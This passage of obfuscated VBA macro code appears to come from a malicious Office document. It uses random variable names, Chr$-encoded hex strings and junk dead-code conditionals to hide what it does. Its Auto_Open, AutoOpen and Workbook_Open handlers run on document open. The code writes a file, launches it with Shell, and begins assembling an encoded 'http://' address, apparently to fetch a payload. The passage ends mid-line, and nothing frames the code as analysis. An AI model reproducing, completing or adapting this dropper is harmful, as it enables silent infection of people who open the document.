Chr$(48) & Chr$(55) & Chr$(55) & Chr$(53) & Chr$(55) & Chr$(51) & Chr$(57) & Chr$(51) & Chr$(52) & Chr$(51) & Chr$(50) & Chr$(51) & Chr$(51))) = Len(HexToString(Chr$(54) & Chr$(68) & Chr$(53) & Chr$(49) & Chr$(52) & Chr$(68) & Chr$(54) & Chr$(67) & Chr$(53) & Chr$(49) & Chr$(55) & Chr$(48) & Chr$(54) & Chr$(65) & Chr$(52) & Chr$(56))) Then MsgBox (HexToString(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49))) End If RHJejTOz = HexToString(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(51) & Chr$(52) & Chr$(49) & Chr$(53) & Chr$(53) & Chr$(52) & Chr$(68) & Chr$(52) & Chr$(55) & Chr$(52) & Chr$(57) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) If 418637 = 418637 + 1 Then End If 8117 < 55 Then MsgBox (HexToString(Chr$(54) & Chr$(67) & Chr$(54) & Chr$(50) & Chr$(52) & Chr$(53) & Chr$(53) & Chr$(55) & Chr$(54) & Chr$(69) & Chr$(55) & Chr$(48) & Chr$(54) & Chr$(56) & Chr$(52) & Chr$(53) & Chr$(51) & Chr$(50) & Chr$(51) & Chr$(56))) End If If Len(HexToString(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(55) & Chr$(52) & Chr$(66) & Chr$(54) & Chr$(49) & Chr$(53) & Chr$(55) & Chr$(52) & Chr$(50) & Chr$(52) & Chr$(57) & Chr$(54) & Chr$(52) & Chr$(51) & Chr$(57) & Chr$(51) & Chr$(50) & Chr$(51) & Chr$(50) & Chr$(51) & Chr$(50))) = Len(HexToString(Chr$(55) & Chr$(56) & Chr$(52) & Chr$(51) & Chr$(53) & Chr$(57) & Chr$(54) & Chr$(67) & Chr$(54) & Chr$(50) & Chr$(55) & Chr$(57) & Chr$(54) & Chr$(66) & Chr$(52) & Chr$(54))) Then MsgBox (HexToString(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49))) End If oSvcEaAM = LTrim(RHJejTOz) If 292645 = 292645 + 1 Then End If 6662 < 93 Then MsgBox ("sFELyjZg35") End If If Len("lNvvXoDb7886") = Len("MQlvHIIm") Then MsgBox ("Error !!!") End If FUuKHwlS = RTrim(oSvcEaAM) If 521924 = 521924 + 1 Then End If 7717 < 42 Then MsgBox ("doEWvlYe15") End If If Len("ctKaLiNQ8822") = Len("jTYlcgOf") Then MsgBox ("Error !!!") End If Put #VRJJSJNVWGS, , DQMXALHCMCM Dim BDxlGfwq, AVQfvPtR, HFHJExjd As String If 996758 = 996758 + 1 Then End If 2829 < 45 Then MsgBox ("jpqgWalu15") End If If Len("yYqANsGQ2144") = Len("lCWqhNdM") Then MsgBox ("Error !!!") End If BDxlGfwq = " XDHYMP " If 557327 = 557327 + 1 Then End If 7171 < 35 Then MsgBox ("qvsdbiYK97") End If If Len("IGOOcPcd7286") = Len("AjcazHuF") Then MsgBox ("Error !!!") End If AVQfvPtR = LTrim(BDxlGfwq) If 122446 = 122446 + 1 Then End If 6871 < 95 Then MsgBox ("cmFzfLCr37") End If If Len("TYOUrQih7185") = Len("KCljlvTv") Then MsgBox ("Error !!!") End If HFHJExjd = RTrim(AVQfvPtR) If 725844 = 725844 + 1 Then End If 9756 < 52 Then MsgBox ("worJkBqV25") End If If Len("MbAdgnzk9862") = Len("DajRMUQM") Then MsgBox ("Error !!!") End If Close #VRJJSJNVWGS Dim lMymlMhU, RNKcWUlK, HyRncwxe As String If 685293 = 685293 + 1 Then End If 6391 < 88 Then MsgBox ("DRXxEIAl83") End If If Len("ZaXOILVX6416") = Len("GkYlVUwt") Then MsgBox ("Error !!!") End If lMymlMhU = " FLWZDK " If 236719 = 236719 + 1 Then End If 4865 < 36 Then MsgBox ("WftQSAdG66") End If If Len("lTEuPerp4971") = Len("dykbgpSQ") Then MsgBox ("Error !!!") End If RNKcWUlK = LTrim(lMymlMhU) If 985933 = 985933 + 1 Then End If 5515 < 81 Then MsgBox ("lBuEGzqK23") End If If Len("nqeoTMwe6621") = Len("DADKWILs") Then MsgBox ("Error !!!") End If HyRncwxe = RTrim(RNKcWUlK) If 945391 = 945391 + 1 Then End If 2959 < 18 Then MsgBox ("QmBoaQAd71") End If If Len("oScTBflU3265") = Len("edsCElzo") Then MsgBox ("Error !!!") End If Dim PQGUZJWTYXM Dim MyWBIlOv, Gutqecub, QihxcAEn As String If 574415 = 574415 + 1 Then End If 3723 < 39 Then MsgBox ("MMzzKnJL96") End If If Len("zyVYIlzr2515") = Len("ZJJYALCB") Then MsgBox ("Error !!!") End If MyWBIlOv = " EJNROE " If 665938 = 665938 + 1 Then End If 5464 < 18 Then MsgBox ("lTrMMzGX28") End If If Len("pQcIEqmV3265") = Len("eddNikrb") Then MsgBox ("Error !!!") End If Gutqecub = LTrim(MyWBIlOv) If 216645 = 216645 + 1 Then End If 3938 < 32 Then MsgBox ("bgforWnl36") End If If Len("NhtyTmbq1729") = Len("naVyvMmy") Then MsgBox ("Error !!!") End If QihxcAEn = RTrim(Gutqecub) If 693232 = 693232 + 1 Then End If 4736 < 11 Then MsgBox ("hMFiiuXj12") End If If Len("uauXJhAk2438") = Len("NAXfwwqL") Then MsgBox ("Error !!!") End If PQGUZJWTYXM = Shell(GLEVLQXWKWH, 1) Dim FySlYxbs, lamFLKke, dkqbPBYY As String If 463161 = 463161 + 1 Then End If 5593 < 81 Then MsgBox ("SHMUTbug51") End If If Len("dJQRuByu6617") = Len("DZRRNvaz") Then MsgBox ("Error !!!") End If FySlYxbs = " OMPPQC " If 554528 = 554528 + 1 Then End If 7143 < 35 Then MsgBox ("pAXbIatk98") End If If Len("mcqTzHva7358") = Len("fVNCYCuZ") Then MsgBox ("Error !!!") End If lamFLKke = LTrim(FySlYxbs) If 156749 = 156749 + 1 Then End If 6223 < 88 Then MsgBox ("ijzaCymr21") End If If Len("hZVTDVTg6438") = Len("GgJTYvnp") Then MsgBox ("Error !!!") End If dkqbPBYY = RTrim(lamFLKke) If 841956 = 841956 + 1 Then End If 1917 < 74 Then MsgBox ("ZlRLvQAl36") End If If Len("aPzhwfkF1122") = Len("MsJUalah") Then MsgBox ("Error !!!") End If Set SLHTDMUNGAR = Nothing Dim MHxkmkMr, oYZXneyS, QJJHpnGu As String If 568881 = 568881 + 1 Then End If 4138 < 77 Then MsgBox ("UmfouOme61") End If If Len("wJfwsMJY5243") = Len("IuVyAIgG") Then MsgBox ("Error !!!") End If MHxkmkMr = " DRQCWL " If 269288 = 269288 + 1 Then End If 3298 < 96 Then MsgBox ("KTArSsNX69") End If If Len("hCBnPDJh4424") = Len("pcFKgMnK") Then MsgBox ("Error !!!") End If oYZXneyS = LTrim(MHxkmkMr) If 294454 = 294454 + 1 Then End If 7699 < 92 Then MsgBox ("nyeBrZYG34") End If If Len("IkVRMmJa7715") = Len("WIIgpogp") Then MsgBox ("Error !!!") End If QJJHpnGu = RTrim(oYZXneyS) If 215227 = 215227 + 1 Then End If 4659 < 35 Then MsgBox ("CeauBqBs74") End If If Len("mmvECSHY5865") = Len("gWfWALbi") Then MsgBox ("Error !!!") End If End Function Sub Auto_Open() Dim UPgDhUJi, LHaHKwMl, JnRZHcnJ As String If 595917 = 595917 + 1 Then End If 3938 < 32 Then MsgBox ("KroAKusz88") End If If Len("NhryIBxd1721") = Len("nzCyAvku") Then MsgBox ("Error !!!") End If UPgDhUJi = " GEWEXL " If 828755 = 828755 + 1 Then End If 7992 < 44 Then MsgBox ("RqlPvlUH45") End If If Len("wjScuZsK5784") = Len("gKAHQIWl") Then MsgBox ("Error !!!") End If LHaHKwMl = LTrim(UPgDhUJi) If 161832 = 161832 + 1 Then End If 2571 < 27 Then MsgBox ("mKPwFRtY22") End If If Len("WMnlhrrv9363") = Len("wTmloEBl") Then MsgBox ("Error !!!") End If JnRZHcnJ = RTrim(LHaHKwMl) If 125274 = 125274 + 1 Then End If 8965 < 54 Then MsgBox ("DiertpeX55") End If If Len("RgwJFlIC7757") = Len("vGqplbkb") Then MsgBox ("Error !!!") End If KUFORBPRZTH End Sub Sub AutoOpen() Dim BatfJgiS, MzgbslTD, HevQTceF As String If 353959 = 353959 + 1 Then End If 7285 < 17 Then MsgBox (HexToString(Chr$(54) & Chr$(65) & Chr$(54) & Chr$(55) & Chr$(52) & Chr$(52) & Chr$(54) & Chr$(52) & Chr$(54) & Chr$(57) & Chr$(53) & Chr$(48) & Chr$(52) & Chr$(50) & Chr$(55) & Chr$(56) & Chr$(51) & Chr$(52) & Chr$(51) & Chr$(57))) End If If Len(HexToString(Chr$(55) & Chr$(54) & Chr$(54) & Chr$(69) & Chr$(52) & Chr$(57) & Chr$(52) & Chr$(66) & Chr$(52) & Chr$(50) & Chr$(53) & Chr$(65) & Chr$(55) & Chr$(48) & Chr$(53) & Chr$(53) & Chr$(51) & Chr$(56) & Chr$(51) & Chr$(51) & Chr$(51) & Chr$(57) & Chr$(51) & Chr$(49))) = Len(HexToString(Chr$(52) & Chr$(50) & Chr$(55) & Chr$(51) & Chr$(53) & Chr$(65) & Chr$(52) & Chr$(66) & Chr$(52) & Chr$(66) & Chr$(55) & Chr$(65) & Chr$(55) & Chr$(52) & Chr$(53) & Chr$(65))) Then MsgBox (HexToString(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49))) End If BatfJgiS = HexToString(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(57) & Chr$(52) & Chr$(55) & Chr$(53) & Chr$(50) & Chr$(53) & Chr$(51) & Chr$(52) & Chr$(52) & Chr$(52) & Chr$(49) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) If 495136 = 495136 + 1 Then End If 3764 < 92 Then MsgBox (HexToString(Chr$(55) & Chr$(53) & Chr$(53) & Chr$(56) & Chr$(55) & Chr$(50) & Chr$(53) & Chr$(54) & Chr$(55) & Chr$(54) & Chr$(53) & Chr$(55) & Chr$(55) & Chr$(56) & Chr$(54) & Chr$(52) & Chr$(51) & Chr$(50) & Chr$(51) & Chr$(54))) End If If Len(HexToString(Chr$(53) & Chr$(54) & Chr$(54) & Chr$(53) & Chr$(54) & Chr$(51) & Chr$(53) & Chr$(51) & Chr$(55) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(49) & Chr$(54) & Chr$(54) & Chr$(51) & Chr$(51) & Chr$(51) & Chr$(56) & Chr$(51) & Chr$(55) & Chr$(51) & Chr$(57))) = Len(HexToString(Chr$(52) & Chr$(65) & Chr$(52) & Chr$(53) & Chr$(55) & Chr$(51) & Chr$(55) & Chr$(50) & Chr$(53) & Chr$(49) & Chr$(55) & Chr$(49) & Chr$(53) & Chr$(48) & Chr$(52) & Chr$(56))) Then MsgBox (HexToString(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49))) End If MzgbslTD = LTrim(BatfJgiS) If 524611 = 524611 + 1 Then End If 6118 < 86 Then MsgBox (HexToString(Chr$(52) & Chr$(56) & Chr$(54) & Chr$(66) & Chr$(52) & Chr$(69) & Chr$(54) & Chr$(52) & Chr$(52) & Chr$(51) & Chr$(52) & Chr$(69) & Chr$(55) & Chr$(53) & Chr$(52) & Chr$(57) & Chr$(51) & Chr$(54) & Chr$(51) & Chr$(54))) End If If Len(HexToString(Chr$(53) & Chr$(52) & Chr$(52) & Chr$(54) & Chr$(52) & Chr$(69) & Chr$(54) & Chr$(69) & Chr$(55) & Chr$(65) & Chr$(55) & Chr$(49) & Chr$(53) & Chr$(50) & Chr$(55) & Chr$(51) & Chr$(51) & Chr$(55) & Chr$(51) & Chr$(50) & Chr$(51) & Chr$(50) & Chr$(51) & Chr$(52))) = Len(HexToString(Chr$(52) & Chr$(65) & Chr$(55) & Chr$(50) & Chr$(53) & Chr$(48) & Chr$(55) & Chr$(48) & Chr$(54) & Chr$(66) & Chr$(52) & Chr$(50) & Chr$(54) & Chr$(49) & Chr$(54) & Chr$(68))) Then MsgBox (HexToString(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49))) End If HevQTceF = RTrim(MzgbslTD) If 398826 = 398826 + 1 Then End If 1793 < 72 Then MsgBox (HexToString(Chr$(53) & Chr$(54) & Chr$(52) & Chr$(50) & Chr$(54) & Chr$(67) & Chr$(52) & Chr$(55) & Chr$(52) & Chr$(68) & Chr$(52) & Chr$(67) & Chr$(52) & Chr$(56) & Chr$(55) & Chr$(51) & Chr$(51) & Chr$(57) & Chr$(51) & Chr$(55))) End If If Len(HexToString(Chr$(54) & Chr$(53) & Chr$(54) & Chr$(69) & Chr$(53) & Chr$(55) & Chr$(52) & Chr$(68) & Chr$(55) & Chr$(53) & Chr$(52) & Chr$(54) & Chr$(52) & Chr$(67) & Chr$(52) & Chr$(50) & Chr$(51) & Chr$(50) & Chr$(51) & Chr$(57) & Chr$(51) & Chr$(49) & Chr$(51) & Chr$(55))) = Len(HexToString(Chr$(53) & Chr$(56) & Chr$(54) & Chr$(49) & Chr$(53) & Chr$(48) & Chr$(55) & Chr$(51) & Chr$(53) & Chr$(49) & Chr$(53) & Chr$(55) & Chr$(53) & Chr$(65) & Chr$(54) & Chr$(69))) Then MsgBox (HexToString(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49))) End If Auto_Open End Sub Sub Workbook_Open() Dim RFNlGSEE, pPUGeuww, zNvbLfPB As String If 889223 = 889223 + 1 Then End If 4557 < 61 Then MsgBox (HexToString(Chr$(55) & Chr$(49) & Chr$(52) & Chr$(50) & Chr$(53) & Chr$(57) & Chr$(52) & Chr$(54) & Chr$(55) & Chr$(51) & Chr$(54) & Chr$(50) & Chr$(53) & Chr$(50) & Chr$(53) & Chr$(53) & Chr$(51) & Chr$(57) & Chr$(51) & Chr$(51))) End If If Len(HexToString(Chr$(54) & Chr$(67) & Chr$(55) & Chr$(49) & Chr$(52) & Chr$(49) & Chr$(54) & Chr$(67) & Chr$(55) & Chr$(65) & Chr$(54) & Chr$(66) & Chr$(52) & Chr$(55) & Chr$(52) & Chr$(66) & Chr$(51) & Chr$(52) & Chr$(51) & Chr$(54) & Chr$(51) & Chr$(54) & Chr$(51) & Chr$(51))) = Len(HexToString(Chr$(53) & Chr$(50) & Chr$(52) & Chr$(49) & Chr$(55) & Chr$(51) & Chr$(54) & Chr$(53) & Chr$(54) & Chr$(66) & Chr$(55) & Chr$(52) & Chr$(54) & Chr$(52) & Chr$(54) & Chr$(49))) Then MsgBox (HexToString(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49))) End If RFNlGSEE = HexToString(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(50) & Chr$(53) & Chr$(49) & Chr$(52) & Chr$(56) & Chr$(53) & Chr$(48) & Chr$(52) & Chr$(56) & Chr$(53) & Chr$(52) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) If 497145 = 497145 + 1 Then End If 3685 < 25 Then MsgBox (HexToString(Chr$(54) & Chr$(68) & Chr$(54) & Chr$(55) & Chr$(55) & Chr$(54) & Chr$(54) & Chr$(65) & Chr$(53) & Chr$(48) & Chr$(54) & Chr$(55) & Chr$(55) & Chr$(52) & Chr$(52) & Chr$(50) & Chr$(51) & Chr$(50) & Chr$(51) & Chr$(54))) End If If Len(HexToString(Chr$(54) & Chr$(52) & Chr$(55) & Chr$(55) & Chr$(52) & Chr$(66) & Chr$(55) & Chr$(52) & Chr$(54) & Chr$(67) & Chr$(55) & Chr$(56) & Chr$(52) & Chr$(70) & Chr$(52) & Chr$(69) & Chr$(51) & Chr$(51) & Chr$(51) & Chr$(56) & Chr$(51) & Chr$(57) & Chr$(51) & Chr$(57))) = Len(HexToString(Chr$(55) & Chr$(57) & Chr$(53) & Chr$(56) & Chr$(53) & Chr$(53) & Chr$(55) & Chr$(56) & Chr$(53) & Chr$(54) & Chr$(52) & Chr$(53) & Chr$(54) & Chr$(67) & Chr$(53) & Chr$(65))) Then MsgBox (HexToString(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49))) End If pPUGeuww = LTrim(RFNlGSEE) If 872422 = 872422 + 1 Then End If 7264 < 18 Then MsgBox (HexToString(Chr$(52) & Chr$(51) & Chr$(52) & Chr$(49) & Chr$(53) & Chr$(57) & Chr$(53) & Chr$(49) & Chr$(55) & Chr$(56) & Chr$(52) & Chr$(52) & Chr$(55) & Chr$(52) & Chr$(54) & Chr$(53) & Chr$(51) & Chr$(57) & Chr$(51) & Chr$(51))) End If If Len(HexToString(Chr$(53) & Chr$(51) & Chr$(53) & Chr$(54) & Chr$(53) & Chr$(57) & Chr$(52) & Chr$(50) & Chr$(52) & Chr$(49) & Chr$(52) & Chr$(50) & Chr$(52) & Chr$(49) & Chr$(53) & Chr$(53) & Chr$(51) & Chr$(56) & Chr$(51) & Chr$(52) & Chr$(51) & Chr$(55) & Chr$(51) & Chr$(56))) = Len(HexToString(Chr$(53) & Chr$(54) & Chr$(54) & Chr$(55) & Chr$(54) & Chr$(65) & Chr$(52) & Chr$(57) & Chr$(52) & Chr$(65) & Chr$(53) & Chr$(51) & Chr$(52) & Chr$(50) & Chr$(52) & Chr$(56))) Then MsgBox (HexToString(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49))) End If zNvbLfPB = RTrim(pPUGeuww) If 177479 = 177479 + 1 Then End If 9578 < 68 Then MsgBox (HexToString(Chr$(52) & Chr$(65) & Chr$(52) & Chr$(70) & Chr$(55) & Chr$(51) & Chr$(54) & Chr$(65) & Chr$(53) & Chr$(54) & Chr$(52) & Chr$(57) & Chr$(55) & Chr$(55) & Chr$(55) & Chr$(56) & Chr$(51) & Chr$(54) & Chr$(51) & Chr$(57))) End If If Len(HexToString(Chr$(52) & Chr$(70) & Chr$(52) & Chr$(55) & Chr$(53) & Chr$(50) & Chr$(55) & Chr$(52) & Chr$(53) & Chr$(57) & Chr$(52) & Chr$(65) & Chr$(54) & Chr$(49) & Chr$(55) & Chr$(54) & Chr$(51) & Chr$(55) & Chr$(51) & Chr$(50) & Chr$(51) & Chr$(55) & Chr$(51) & Chr$(57))) = Len(HexToString(Chr$(53) & Chr$(65) & Chr$(54) & Chr$(65) & Chr$(54) & Chr$(67) & Chr$(55) & Chr$(56) & Chr$(55) & Chr$(49) & Chr$(53) & Chr$(54) & Chr$(53) & Chr$(48) & Chr$(52) & Chr$(69))) Then MsgBox (HexToString(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49))) End If Auto_Open End Sub Sub KUFORBPRZTH() Dim IDcjVUbg, XEZWrlQC, vFJFDHmj As String If 865222 = 865222 + 1 Then End If 1524 < 32 Then MsgBox (HexToString(Chr$(55) & Chr$(51) & Chr$(52) & Chr$(66) & Chr$(55) & Chr$(53) & Chr$(52) & Chr$(52) & Chr$(53) & Chr$(57) & Chr$(54) & Chr$(55) & Chr$(54) & Chr$(56) & Chr$(54) & Chr$(70) & Chr$(51) & Chr$(57) & Chr$(51) & Chr$(50))) End If If Len(HexToString(Chr$(52) & Chr$(52) & Chr$(52) & Chr$(67) & Chr$(53) & Chr$(54) & Chr$(53) & Chr$(48) & Chr$(54) & Chr$(57) & Chr$(52) & Chr$(54) & Chr$(54) & Chr$(55) & Chr$(54) & Chr$(49) & Chr$(51) & Chr$(56) & Chr$(51) & Chr$(51) & Chr$(51) & Chr$(49) & Chr$(51) & Chr$(54))) = Len(HexToString(Chr$(54) & Chr$(52) & Chr$(53) & Chr$(52) & Chr$(52) & Chr$(65) & Chr$(53) & Chr$(48) & Chr$(54) & Chr$(49) & Chr$(54) & Chr$(54) & Chr$(55) & Chr$(48) & Chr$(53) & Chr$(55))) Then MsgBox (HexToString(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49))) End If IDcjVUbg = HexToString(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(53) & Chr$(53) & Chr$(65) & Chr$(53) & Chr$(49) & Chr$(53) & Chr$(56) & Chr$(52) & Chr$(70) & Chr$(52) & Chr$(49) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) If 235129 = 235129 + 1 Then End If 6371 < 36 Then MsgBox (HexToString(Chr$(54) & Chr$(70) & Chr$(52) & Chr$(57) & Chr$(54) & Chr$(54) & Chr$(54) & Chr$(55) & Chr$(53) & Chr$(55) & Chr$(54) & Chr$(68) & Chr$(53) & Chr$(52) & Chr$(53) & Chr$(55) & Chr$(51) & Chr$(57) & Chr$(51) & Chr$(57))) End If If Len(HexToString(Chr$(54) & Chr$(67) & Chr$(53) & Chr$(50) & Chr$(53) & Chr$(65) & Chr$(54) & Chr$(68) & Chr$(54) & Chr$(55) & Chr$(55) & Chr$(48) & Chr$(53) & Chr$(54) & Chr$(52) & Chr$(53) & Chr$(51) & Chr$(55) & Chr$(51) & Chr$(52) & Chr$(51) & Chr$(56) & Chr$(51) & Chr$(54))) = Len(HexToString(Chr$(54) & Chr$(52) & Chr$(55) & Chr$(52) & Chr$(54) & Chr$(66) & Chr$(53) & Chr$(51) & Chr$(52) & Chr$(67) & Chr$(54) & Chr$(65) & Chr$(53) & Chr$(53) & Chr$(55) & Chr$(52))) Then MsgBox (HexToString(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49))) End If XEZWrlQC = LTrim(IDcjVUbg) If 894524 = 894524 + 1 Then End If 4691 < 62 Then MsgBox (HexToString(Chr$(53) & Chr$(56) & Chr$(52) & Chr$(70) & Chr$(52) & Chr$(68) & Chr$(52) & Chr$(52) & Chr$(53) & Chr$(55) & Chr$(53) & Chr$(48) & Chr$(54) & Chr$(52) & Chr$(52) & Chr$(56) & Chr$(51) & Chr$(57) & Chr$(51) & Chr$(52))) End If If Len(HexToString(Chr$(55) & Chr$(50) & Chr$(53) & Chr$(55) & Chr$(52) & Chr$(56) & Chr$(54) & Chr$(66) & Chr$(53) & Chr$(49) & Chr$(53) & Chr$(65) & Chr$(54) & Chr$(51) & Chr$(54) & Chr$(49) & Chr$(51) & Chr$(52) & Chr$(51) & Chr$(55) & Chr$(51) & Chr$(49) & Chr$(51) & Chr$(53))) = Len(HexToString(Chr$(53) & Chr$(50) & Chr$(53) & Chr$(53) & Chr$(52) & Chr$(70) & Chr$(54) & Chr$(66) & Chr$(53) & Chr$(52) & Chr$(55) & Chr$(65) & Chr$(54) & Chr$(67) & Chr$(53) & Chr$(55))) Then MsgBox (HexToString(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49))) End If vFJFDHmj = RTrim(XEZWrlQC) If 739345 = 739345 + 1 Then End If 9891 < 53 Then MsgBox (HexToString(Chr$(55) & Chr$(55) & Chr$(54) & Chr$(54) & Chr$(54) & Chr$(69) & Chr$(55) & Chr$(51) & Chr$(52) & Chr$(68) & Chr$(52) & Chr$(50) & Chr$(54) & Chr$(55) & Chr$(53) & Chr$(65) & Chr$(51) & Chr$(50) & Chr$(51) & Chr$(54))) End If If Len(HexToString(Chr$(53) & Chr$(52) & Chr$(55) & Chr$(48) & Chr$(52) & Chr$(55) & Chr$(54) & Chr$(66) & Chr$(54) & Chr$(54) & Chr$(52) & Chr$(54) & Chr$(52) & Chr$(57) & Chr$(55) & Chr$(49) & Chr$(51) & Chr$(57) & Chr$(51) & Chr$(57) & Chr$(51) & Chr$(49) & Chr$(51) & Chr$(53))) = Len(HexToString(Chr$(54) & Chr$(50) & Chr$(53) & Chr$(49) & Chr$(53) & Chr$(50) & Chr$(53) & Chr$(48) & Chr$(52) & Chr$(66) & Chr$(53) & Chr$(55) & Chr$(54) & Chr$(66) & Chr$(53) & Chr$(51))) Then MsgBox (HexToString(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49))) End If fdgbklV9B = Chr$(104) & Chr$(116) & Chr$(116) & Chr$(112) & Chr$(58) & Chr$(47) & Chr$(47) & Chr$(119) & Chr$(119) & 